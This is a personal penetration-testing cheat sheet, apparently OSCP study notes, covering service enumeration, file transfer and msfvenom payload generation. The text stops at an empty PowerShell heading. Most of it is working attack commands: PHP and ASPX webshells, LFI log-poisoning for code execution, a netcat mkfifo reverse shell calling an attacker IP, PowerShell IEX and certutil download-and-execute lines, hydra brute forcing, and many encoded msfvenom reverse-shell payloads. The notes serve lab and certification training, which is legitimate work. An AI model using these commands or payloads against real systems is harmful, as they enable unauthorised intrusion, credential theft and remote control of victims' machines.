# Hack$Notes

Welcome to my world

Hi,&#x20;

This is a place where I will be keeping all of my notes within the penetration testing world. I will be adding as much as possible throughout my learning process. Those will be any sort of notes/info that I am using to learn and hope someone else can learn too. More resources like links/books/articles will be added too. I am currently undertaking the PWK course for the OSCP certification as well as hacking myself into different platforms like TryHackMe, VHL, HTB and VulnHub.  &#x20;


# Enumeration

Enumeration is key to the process of pentesting.

![Enumeration RoadMap](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-Lk-h6rC8cepb8xtrXrA%2F-Lk-aKBxsTP5Jnr4cw6Z%2Fenumeration-mind-map.png?alt=media\&token=1bb2e0e0-bd3b-42cb-8ea8-50c50b6a7e76)

### Netcat Banner Grab

```
nc -v 10.10.10.10 port
```

### Telnet Banner Grab

```
telnet 10.10.10.10 port
```

##


# NMAP Scanning

Various nmap scans

#### Full UDP Scan

```
nmap -sU -sV -vv -oA quick_udp 10.10.10.20
```

```
nmap -A -sV -sU --script=default,vuln --open -oA udp_full_scan 10.10.10.20
```

#### Full TCP Scan

```
nmap -sC -sV -p- -vv -oA full 10.10.10.20
```

```
nmap -A -sV --script=default,vuln -p- --open -oA tcp_full_scan 10.10.10.20
```

```
nmap -T4 -A -p- 10.10.10.20
```

#### Port Knock

```
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 1
```

#### **Scan all ports**

```
nmap -sS -A -T4 -p 1-65535 -oA nmapscan.txt 10.10.10.20
```

**OS Guess**

```
nmap -O -v -n 10.10.10.0/24 --osscan-guess
```

### NSE scripts

Used for:

* Service enumeration&#x20;
* Brute-force&#x20;
* Vulnerabilities&#x20;
* /usr/share/nmap/scripts/                    # Directory

```
--script=name-of-the-script
OR
--script name-of-the-script.nse
```

#### Vulnerability Scan

```
# On general
nmap --script vuln -oA nmap vulnscan 10.10.10.20

# On specific ports
nmap --script +vuln -p80,1999,8180,35316 10.10.10.20 
nmap --script +vuln -p4433 10.10.10.20
nmap --script +vuln -p2049,445,80,60666 10.10.10.20
```


# Hping3 Scanning

Hping3


# IDLE SCAN

Idle Scan

**Hping3**

Using a Zombie and hide our real IP from the scan. This is to evade firewalls.

```
hping3 -S -r ZOMBIE_IP -p 135      
```

If id=+1 means a good Zombie candidate. Leave it running and run the below command to execute Idle scan

```
hping3 -a ZOMBIE_IP -S TARGET_IP -p 23 
```

**NMAP Idle**&#x20;

```
nmap --script ipidseq ZOMBIE_IP -p 135  Find Zombie 1st way 
nmap -O -v ZOMBIE_IP -p 135             Find Zombie 2nd way 
```

```
nmap -sI ZOMBIE_IP:135 TARGET_IP -p 23 -Pn --packet-trace         Execute Idle Scan
```

**Idle Scan (hping + nmap)**

```
hping3 -S -r ZOMBIE_IP -p 135          Find Zombie and check the id incremental 
nmap -S ZOMBIE_IP TARGET_IP -p 23 -Pn -n -e tap0 --disable-arp-ping         Run Idle scan with NMAP
```


# DNS Enum

### Main commands used here for DNS enum.&#x20;

* host
* dig
* nslookup
* dnsrecon

### NSlookup

```
nslookup 
> server 10.10.10.10
Default server: 10.10.10.10
Address: 10.10.10.10#53

> 10.10.10.10
10.10.10.10.in-addr.arpa	name = ns1.domain.com.
```

```
host -t ns somedomain.com		# -t: type, nameservers records 
host -t mx somedomain.com		# mail records
host www.somedomain.com			# Will display the IP of the domain
host idontexist.somedomain.com 	# If exists it will display further information
```

### Zone Transfer

```
host -t ns somedomain.com					# Find the nameservers of the domain
host -l somedomain.com ns1.somedomain.com.	# attempt zone transfer based on the nameservers found. (e.g. ns1, ns2, ns3, ... )
```

```
############### Example Script for Zone Transfer ###############
################################################################

#!/bin/bash

# Zone Transfer script
######################

echo "[*] Simple Zone transfer script"
if [ -z "$1" ]; then
        echo "This script accepts an argument. Please re-run it and give an argument."
        exit 0
fi

for server in $(host -t ns $1 |cut -d" " -f4);
do
        host -l $1 $server | grep "has address"
done

```

{% hint style="info" %}
**Tools**: DNSrecon/DNSenum
{% endhint %}

```
dnsrecon -d somedomain.com -t axfr	    # Attempt a Zone Transfer on a domain 
```

### Dig Zone Transfer

```
dig axfr @10.10.10.10 domainame
```

### Tools List

```
sublist3r
enumall
massdns
altdns
brutesubs
dns-parallel-prober
dnscan
knockpy
tko-subs
HostileSubBruteforce
```

### WFUZZing

```
----DNS fuzzing----
wfuzz -c -f sub-fighter -w subdomains.txt -u "http://maindomain.com" -H "Host: FUZZ.maindomain.com" -t 42 --hl 1
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-20000.txt -u "http://maindomain.com/" -H "Host: FUZZ.maindomain.com" -t 42 --hh 62
```


# SMB Enum

### CheckList

* Run enum4linux
* Check version, null session.&#x20;
* Check share drives
* If access to file system do the same as ftp attacks.&#x20;

### SMB Vulnerability Scan

```
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse 10.10.10.10
```

### Enumerate users and shares

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10
```

### SMB Connect share

```
smbclient //IP_ADDRESS/share
smbclient //IP_ADDRESS/tmp
smbclient \\\\IP_ADDRESS\\ipc -U username_here
smbclient //IP_ADDRESS/ipc -U username_here  
smbclient -U '.' -L IP_ADDRESS
smbclient -U 'guest' -L IP_ADDRESS

Anonymous login:
smbclient //IP_ADDRESS/anonymous

Download file:
smbget -R smb://IP_ADDRESS/anonymous
```

### List Shares

```
smbclient -L IP_ADDRESS
```

### Enum4Linux

```
enum4linux -a 10.10.10.10
```

### **Enum4Linux enumerate users**

```
enum4linux -r 10.10.10.10 | grep "Local User"
```

### Null Connect

```
rpcclient -U "" 10.10.10.10
rpcclient -U '' 10.10.10.10
	srvinfo
	enumdomusers
	getdompwinfo
	querydominfo
	querydisplayinfo2
	netshareenum
	netshareenumall
	queryuser RID						<-- Give the RID of the user. 
```

### NBTscan

```
nbtscan 10.10.10.x
```

### Mount Share

```
mkdir /mnt/remote/
mount -t cifs //10.10.10.10/Backups /mnt/remote/

VHD mount:
guestmount --add /mnt/remote/path/to/file.vhd --inspector --ro /mnt/vhd -v
```

### CrackMapExec

```
crackmapexec smb 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
crackmapexec smb 10.10.10.10 --shares -u '' -p ''
crackmapexec smb 10.10.10.10 --pass-pol                  <-- Enum Password Policy
crackmapexec winrm 10.10.10.10 -u username -p password   <-- See if you can login 
```

### SMBmap Connect

```
smbmap -H 10.10.10.10 -u '' -p ''
```


# SMTP Enum

### CheckList

* Check for version
* LFI chaining log file poisoning&#x20;
* User enumeration&#x20;

### Grab the banner and VRFY

```
nc -nv 10.11.12.8 25 
VRFY bob 
250 2.1.5 
bob@redhat.active.com                  <--- Output if user exists
 
VRFY idontexist 
550 5.1.1 idontexist... User unknow    <--- Output if user does not exist 
```

&#x20;                               **EXPN request:** asks the server for the membership of a mailing list

### Bash Script for SMTP&#x20;

```
#!/bin/bash

# VRFY Script
#############

for ips in $(cat numbers.txt);			# numbers.txt list of IP's
do
	for user in $(cat users.txt);       # users.txt list of usernames
	do 
		echo VRFY $user | nc -nv -w 1 10.11.1.$ips 25 2>/dev/null |grep ^"250"
	done
done

```

### SMTP nmap scripts

```
nmap --script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.0.0.1
```

### **SMTP user enum**

```
smtp-user-enum -M VRFY -D domain.here -u username -t 10.10.10.10
smtp-user-enum -M VRFY -U usernamelist.txt -t 10.10.10.10
```

### **Code Execution through SMTP/LFI**

```
telnet 10.10.10.10 25
EHLO sub.somedomain.com
VRFY username@localhost
mail from:someself@nodomain.io
rcpt to: username@localhost
data
Subject: Some Subject
<?php echo system($_REQUEST['cmd']); ?>

.

=================================================
After this and on the LFI you have discovered just place the variable cmd:
?cmd=id
&cmd=id 

Examples:
http://10.10.10.10/somedir/lfi.php?file=../../../../../var/log/mail.log&cmd=id
http://10.10.10.10/somedir/lfi.php?file=../../../../../var/log/mail.log&cmd=whoami
```


# POP3

### CheckList

* Check for version
* LFI chaining log file poisoning&#x20;
* User enumeration&#x20;

### Try login and get the banner.&#x20;

```
telnet INSERTIPADDRESS 110
USER [username]                    <-- Login Username
PASS [password]                    <-- Login Password
LIST                               <-- List messages
RETR [message number]              <-- Retrieve messages
QUIT                               <-- Quit
```


# SNMP Enum

### SNMP Enumeration

```
snmp-check 10.10.10.10
```

### SNMP nse scriprs

```
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESSSNMP check
```

```
snmpcheck -t 192.168.1.X -c public
```

### SNMP walk

```
snmpwalk -c public -v1 10.0.0.0
```

### OneSixtyOne

```
onesixtyone -c names -i hosts
```

### NMAP scan

```
nmap -sT -p 161 192.168.X.X -oG snmp_results.txt
```

### SNMP enum

```
snmpenum -t 192.168.1.X
```


# LDAP Enum

LDAP Enumeration

#### All NMAP NSE scripts

```
for i in $(ls -la /usr/share/nmap/scripts/ldap* |cut -d "/" -f6); do nmap -p 389 --script $i 10.10.10.10; done
```

#### LDAP Search

```
nmap --script=ldap-search 10.10.10.10
```

#### LDAP Connect

```
ldapsearch -H ldap://10.10.10.10 -u username
```

#### LDAP DC namingcontexts

```
ldapsearch -x -h 10.10.10.10 -p 389 -s base namingcontexts
```

#### LDAP further enum

```
ldapsearch -x -h 10.10.10.10 -p 389 -b “dc=name,dc=net”
```


# HTTP Enum

Enumerate directories.

#### ***`The main thing to remember here is to always run against multiple wordlists starting with directory-list-2.3-medium.txt`***&#x20;

### Gobuster

```
# URL Search

-- Quick Directory Busting:
gobuster dir -u 10.10.10.20 -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux
gobuster dir -u 10.10.10.20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80 -a Linux

-- Comprehensive Directory Busting
gobuster dir -s 200,204,301,302,307,403 -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/big.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'

-- Search with File Extension
gobuster dir -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux -x .sh,.html,.txt,.php

==========================================================================================================================================================================================

# DNS Search
gobuster dns -d anysite.com -t 50 -w /wordlists/subdomains.txt

==========================================================================================================================================================================================

# vhost Search
gobuster vhost -u https://anysite.com -w common-vhosts.txt
```

### FFUF

```
ffuf -u http://10.10.10.10:80/FUZZ -t 10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -e ".txt,.html,.php,.asp,.aspx,.jsp"
ffuf -u http://10.10.10.10:80/FUZZ -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e ".txt,.html,.php,.asp,.aspx,.jsp"
```

### **Nikto Web Scan**

```
nikto -h 10.10.10.10
nikto -h 10.10.10.10 -p 8080                 # Different port
nikto -h 10.10.10.10 -p 443,80,8080,8081     # Multiple ports
nikto -h 10.10.10.10 -p 80-88                # Port range
```

### Wordpress Scan

```
wpscan --update
wpscan --url http://10.10.10.10/
wpscan --url http://10.10.10.10/wp/

wpscan -u 10.10.10.10/wp/ --enumerate [p/vp/ap/t/vt/at]

**** User ****
u: enumerate users

**** Plugins Switches ****
p: Popular plugins only
vp: Vulnerable plugins only
ap: All plugins

**** Themes Switches ****
t: Popular themes only
vt: Vulnerable plugins only
at: All themes
```

### Drupal

```
droopescan scan drupal -u http://10.10.10.10/ -t 32
```

### Joomla

```
joomscan -u http://10.10.10.10/
```

### Dirb

```
dirb http://10.10.10.x

******** HOTKEYS *******
n -> Go to the next directory.
q -> Stop scan and save current state.
r -> Remaining scan stats

dirb http://10.10.10.10 /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt

-x : use this extension list against the wordlists within big.txt
```

### Dirsearch

```
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u <URL> -e <EXTENSION>

Example
python3 dirsearch.py -u  http://10.10.10.10/ -e cgi,py,php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
./dirsearch.py -u  http://10.10.10.10/ -e cgi,py,php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-u: URL to scan.
-e: formats to search.
-w: wordlist.
```

### Netcat

```
nc 10.10.10.10 80
HEAD / HTTP/1.0
GET / HTTP/1.0
```

### cUrl

```
# Header
curl -i INSERTIPADDRESS

# Everything else
curl -i -L INSERTIPADDRESS

# Title and all links
curl INSERTIPADDRESS -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'

# Just text
curl INSERTIPADDRESS -s -L | html2text -width '99' | uniq

# Upload possible?
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php
```

### Wfuzz

```
----Simple Test----
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://testsite.com/FUZZ
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://testsite.com/FUZZ.php

----URL testing----
wfuzz -z range,0-10 --hl 97 http://testsite.com/listofproducts.php?cat=FUZZ

----DNS fuzzing----
wfuzz -c -f sub-fighter -w subdomains.txt -u "http://maindomain.com" -H "Host: FUZZ.maindomain.com" -t 42 --hl 1
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-20000.txt -u "http://maindomain.com/" -H "Host: FUZZ.maindomain.com" -t 42 --hh 62
```

### **Upload a PHP file**

```
In case you can upload a file try the below. This can be used for reverse shell too.

<?php echo system($_GET["cmd"]);?>

OR

<?php echo shell_exec($_GET["cmd"]);?>
```

### WebDav

```
davtest -url http://10.10.10.10    <-- Make a test to see file extensions upload.
cadaver http://10.10.10.10/        <-- Connect
```

### ASPx Webshell

```
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmdStdOut.Readall()
Response.write(o)
%>
```

### Code Execution through HTTP/LFI

```
nc 10.10.10.10
<?php system($_GET['cmd']); ?>
==========================================================================
After this and on the LFI you have discovered just place the variable cmd:
?cmd=id
&cmd=id 

http://10.10.10.10/somedir/lfi.php?file=../../../var/log/apache2/access.log&cmd=id
http://10.10.10.10/somedir/lfi.php?file=../../../var/log/apache2/access.log&cmd=whoami
```

###


# CheckList

### CheckList

*Lots of strategies:*

* Check server name for vulnerability, usually a software will be running with a vulnerability, lots of googling required&#x20;
* Try to read the exploit code, most of the time it will give a hint whether you’re in the right spot or not
* Run dirbuster, nikto, dirsearch, ffuf etc
* Check the response size and manually check for the webpage in the dirbuster output i.e. don’t assume stuff, nikto is prone to false positives as well keep in mind, but nikto can spot the put functionality enabled so as soon as you see a file server type layout webserver , run nikto
* Enumerate for shell shock vulnerabilities.&#x20;
* Login page found?, google for default creds ,try logically finding the username password using cewl
* Check for sql injection
* Check the URL for LFI,RFI&#x20;
* Once logged in, try searching for the file manager to upload shell. Sometimes you wouldn’t need to login for an exploit to work i.e. it can be a rabbit hole if you are able to login easily so read the exploit code properly.&#x20;
* Wordpress use wpscan, Joomla use joomscan, Drupal use droopscan .&#x20;
* The answer is simpler than you think!!!!!!!!!!!!


# FTP Enum

FTP Enumeration

### CheckList

* Anonymous login
* Check default credentials&#x20;
* Check version for exploit
* Check for files upon login
* Check for SSH keys or if you can access .ssh file
* Try uploading shell if reflected in web server.
* Brute force credentials

### FTP nse scripts

```
nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.0.0.1
```

### **Anonymous Login**

```
ftp 10.10.10.10 21

Connected to 10.10.10.10.
220 (vsFTPd 3.0.3)
Name (10.10.10.10:kali): anonymous
331 Please specify the password.
Password: whatever_password
```

### **Error "Program cannot be run in DOS mode"**

```
Make sure that BINARY mode is enable so that you can transfer/execute files.

Example:
===================
ftp> binary
200 Type set to I.
ftp> put someexecutable.exe
local: someexecutable.exe remote: someexecutable.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
371329 bytes sent in 1.30 secs (279.2892 kB/s)
```

### See if you can upload on the target

```
Usually if you see some folder named pub the directory should be:
/var/ftp/pub/

It may also be a /var/www/html directory where you can upload a shell
```

### Default creds

```
admin:admin
admin:password
```


# SSH Enum

SSH Enumeration

### CheckList

Probably not useful unless you uploaded key anywhere or found a private key file. Sometimes useful for log file poisoning with LFI.

#### Login and test SSH connectivity

```
ssh username@somedomain.com
OR
ssh username@10.10.10.20
```

#### SSH NMAP Scripts

```
nmap -sV -Pn -vv -p 22 --script ssh-auth-methods,ssh-brute,ssh-hostkey,ssh-publickey-acceptance,ssh-run,ssh2-enum-algos,sshv1 10.10.10.20
```

**Code Execution through SSH/LFI**

```
ssh '<?php system($_GET['cmd']); ?>'@10.10.10.10
==========================================================================
After this and on the LFI you have discovered just place the variable cmd:
?cmd=id
&cmd=id 

http://10.10.10.10/somedir/lfi.php?file=../../../../../var/log/auth.log&cmd=id
http://10.10.10.10/somedir/lfi.php?file=../../../../../var/log/auth.log&cmd=whoami
```


# MySQL Enum

MySQL enumeration

### CheckList

* Check for version
* Try passwordless connection,authentication
* If authenticated try to access database, tables.&#x20;
* See if you can upload shell.

### MySQL nmap scripts

```
nmap -sV -Pn -vv  10.10.10.10 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
```

### Brute-Force credentials

```
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 mysql -t 4
```

### Try to login to MYSQL target

```
mysql -h 10.10.10.10 -u root -p
```


# Oracle Enum

Oracle Enumeration

```
tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS
```

### Discover Oracle Accounts with NMAP

```
nmap --script oracle-sid-brute 10.10.10.10
namp --script oracle-brute -p 1521 --script-args oracle-brute.sid=XE 10.10.10.10
```


# NFS Enum

NFS Enumeration

### Enumerate NFS shares

```
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.10.10
```

### Port 2049

```
showmount -e 10.10.10.20

Mount it like this:
sudo mount -t nfs REMOTE_BOX_IP_ADDRESS:/remote/path /my/path/NFS

cd /my/path/NFS
```


# Internet Relay Chat (IRC)

**Scan with nmap the ports** (or the ports that gives your the IRC)

```
nmap -sV -p 6667,6697,8067,33430,42691,55659,61713,65534 <target>
```

**Connect to the target** (HexChat)

```
apt install hexchat        <-- Install it
hexchat                    <-- Run Client

Set up the channell and the ports.
1) target/6697
2) target/8067
3) target/65534

Login as username
Once logged in the service version is revealed.
```

**Connect to the target** (netcat)

```
ncat 10.10.10.10 8067
PASS mypass
NICK mynick

USER myuser hostname servername :realname
```


# Telnet

#### Exploit Telnet Protocol

```
1) On Kali run:
    sudo tcpdump ip proto \\icmp -i tun0    

2) Telnet on the target and run:
    ping [local tun0 ip] -c 1

3) Create a msfvenom payload:
    msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R

4) Run the command from the msfvenom payload about:
    mkfifo /tmp/aqzq; nc [local tun0 ip] 4444 0</tmp/aqzq | /bin/sh >/tmp/aqzq 2>&1; rm /tmp/aqzq

5) Set up a listener:
    nc -lvnp 4444    
```


# Kerberos

### Kerberos User Enumeration

#### <https://github.com/ropnop/kerbrute>&#x20;

```
Usernames:
kerbrute userenum --dc 10.10.10.10 -d somedomain.com usernames.txt

Passwords:
kerbrute userenum --dc 10.10.10.10 -d somedomain.com passwords.txt username
```


# Finger

port 79

### Check for login users

```
finger @10.10.10.10
```

### Check for root login&#x20;

```
finger root@10.10.10.10
```

### Enumerate with finger-user-enum script ([pentest-monkey](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum))

```
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.10
```

###

###


# Ports Open/Close

{% hint style="info" %}
With **BOLD** is the attacker/client send flags
{% endhint %}

### TCP Connect&#x20;

open: **SYN**, SYN/ACK, ACK, **RST**&#x20;

close: **SYN**, RST

### Stealth Scan(Half Open)&#x20;

open: **SYN**, SYN/ACK, **RST**&#x20;

close: **SYN**, RST

### Inverse TCP flag&#x20;

open: **FIN/URG/PSH/NULL**, No Response&#x20;

close: **FIN/URG/PSH/NULL**, RST/ACK

### Xmas Scan&#x20;

open: **FIN+URG+PSH**, No Response&#x20;

close: **FIN+URG+PSH**, RST/ACK

### Null Scan&#x20;

open: No Response&#x20;

close: RST

### ACK flag Probe Scanning&#x20;

Attacker/client sends only ACK package. If he receives on **RST** flag that means the port is there and **open**. Also on "NO RESPONSE" means that a stateful firewall is present. On a RST flag means no firewall is in place.

### IDLE Scan(sends packets from IDLE zombie)

### UDP Scanning(No flags sent, No 3-way Handshake made)&#x20;

open: No Response&#x20;

close: ICMP port unreadable UDP port scanning is often unreliable, as firewalls and routers may drop ICMP packets. This can lead to false positives in your scan, and you will regularly see UDP port scans showing all UDP ports open on a scanned machine. People often forget to scan for UDP services, and stick only to TCP scanning, thereby seeing only half of the equation.

###

### FIN Scanning&#x20;

open: No Response&#x20;

close: RST

###

### ACK Scanning&#x20;

open: RST&#x20;

close: No Response


# ident

&#x20; Ident is an Internet protocol that helps identify the user of a particular TCP connection.

```
$ ident-user-enum 10.10.10.10 113 8080 10000 22   <-- Enum the ports
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

10.10.10.10:113	    nobody
10.10.10.10:8080	  some_username
10.10.10.10:10000	  some_other_username
10.10.10.10:22	    root
```


# Postgresl

#### Login to a remote Postgresl Database

```
psql -h 10.10.10.10 -U postgres

Default creds: 
postgresl:postgresl

\list : Shows you a list of databases. 
```


# Transferring Files

How to transfer files

There are various ways to transfer files once an initial foot has been made.&#x20;

#### HTTP

The simplest way to transfer files from one box to another is by using Python SimpleHTTPServer module as can be seen below:

```
python -m SimpleHTTPServer <port number>
```

#### Powershell

```
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.10.20/nc.exe','c:\temp\nc.exe')
```

```
powershell.exe -c (Start-BitsTransfer -Source "http://10.10.10.20/nc.exe -Destination C:\temp\nc.exe")
```

```
powershell wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
```

```
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.10.20/nc.exe')" 
```

```
echo $storageDir = $pwd > wget1.ps1
echo $webclient = New-Object System.Net.WebClient >> wget1.ps1
echo $url = "http://10.10.10.20/nc.exe" >> wget1.ps1
echo $file = "new-nc.exe" >> wget1.ps1
echo $webclient.DownloadFile($url,$file) >> wget1.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget1.ps1
```

#### Certutil <a href="#http-and-certutil" id="http-and-certutil"></a>

```
certutil.exe -urlcache -split -f "http://10.10.10.20/nc.exe" c:\temp\nc.exe
```

#### VBScript

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

#### TFTP

```
On Linux:
mkdir /tftp
atftpd --daemon --port 69 ~/tftp

On Windows:
tftp -i 10.10.10.20 GET nc.exe
```

#### FTP

Install it first and start service

```
apt-get install pure-ftpd
service pure-ftpd start
```

Set up the attacking machine

&#x20;On the target machine run:

```
echo open 10.10.10.32 21> ftp1.txt        <--- Attacking IP
echo username>> ftp1.txt                  <--- Your username
echo password>> ftp1.txt                  <--- Your password
echo binary>> ftp1.txt		
echo GET executable.exe>> ftp1.txt
echo bye>> ftp1.txt
ftp -s:ftp1.txt
```

#### SMB

```
On Kali-Linux:
python /usr/share/doc/python-impacket/examples/smbserver.py dir-name .
python3 /usr/share/doc/python3-impacket/examples/smbserver.py dir-name .

On Windows:
copy \\KALI_IP\dir-name\name_of_the_file_you_want_to_transfer .
```

**Base64 transfer binaries**

```
# On target
base64 -w0 /path/to/binary    <-- copy the content and save into a .b64 file.

# On my kali
base64 -d filename.bs64 > mybinary
chmod +x mybinary
```

#### Windows to Linux

```
### On a Windows Target ###

nc.exe -v -w 30 -p 4444 -l < some_password.kdbx
listening on [any] 4444 ...


### ON MY KALI ###

nc -v -w 2 TARGET_IP 4444 > password.kdbx
TARGET_IP [TARGET_IP ] 4444 (?) open

```


# Metasploit Framework

Metasploit Framework

![msfconsole](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LlGWUNttu-xPjdgd9RO%2F-LlGWXZ01KCY5cPciMI2%2FCapture2.PNG?alt=media\&token=3ab8e0b2-3ab8-4107-8d00-34ab4319aca1)


# Msfvenom tutorial

Simple commands

#### Msfvenom Start

```
msfconsole

msfdb run         <--- This will start database and msfconsole at once. 
```

#### Msfvenom Help

```
msfvenom -h
```

#### Msfvenom Formats

```
msfvenom --help-formats
msfvenom -l formats
```

#### Msfvenom Payloads

```
msfvenom -l payloads
```

**Add Module from Exploit-DB**

```
searchsploit exploit_name
mkdir -p ~/.msf4/modules/exploits/name_of_the_exploit/exploit
searchsploit -m path/of/the/exploit.rb
msfconsole
search exploit
```

**SearchSploit tool**

```
searchsploit -u                                <-- Update searchsploit
searchsploit -m path/to/the/exploit            <-- Copy to cwd
searchsploit -x exploit                        <-- Look at the exploit contents
```


# Msfvenom Payloads

Payload creation using msfvenom

#### PHP Reverse Shell

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=53 -f raw -o shell.php
```

#### Java War Reverse Shell

```
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f war -o shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f war -o shell.war
```

#### Linux Bind Shell

```
msfvenom -p linux/x86/shell_bind_tcp LPORT=53 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
```

#### Linux Binary

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f elf -o shell.elf
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```

#### FreeBSD Reverse Shell

```
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f elf -o shell.elf
```

#### C Reverse Shell

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -f c
```

#### Windows Non-Staged Reverse Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -f exe -o non_staged.exe
```

#### Windows Staged (Meterpreter) Reverse Shell

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
```

#### Windows Staged (Meterpreter) PHP Reverse Shell

```
msfvenom -p php/meterpreter/reverse_tcp -f raw lhost=10.10.10.10 lport=443 -o pwn.php
```

#### Windows Python Reverse Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 EXITFUNC=thread -f python -o shell.py
```

#### Windows ASP Reverse Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f asp -e x86/shikata_ga_nai -o shell.asp
```

#### Windows ASPX Reverse Shell

```
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -o shell.aspx
```

#### Windows Javascript Reverse Shell with NOPS

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f js_le -e generic/none -n 18
```

#### Windows Powershell Reverse Shell

```
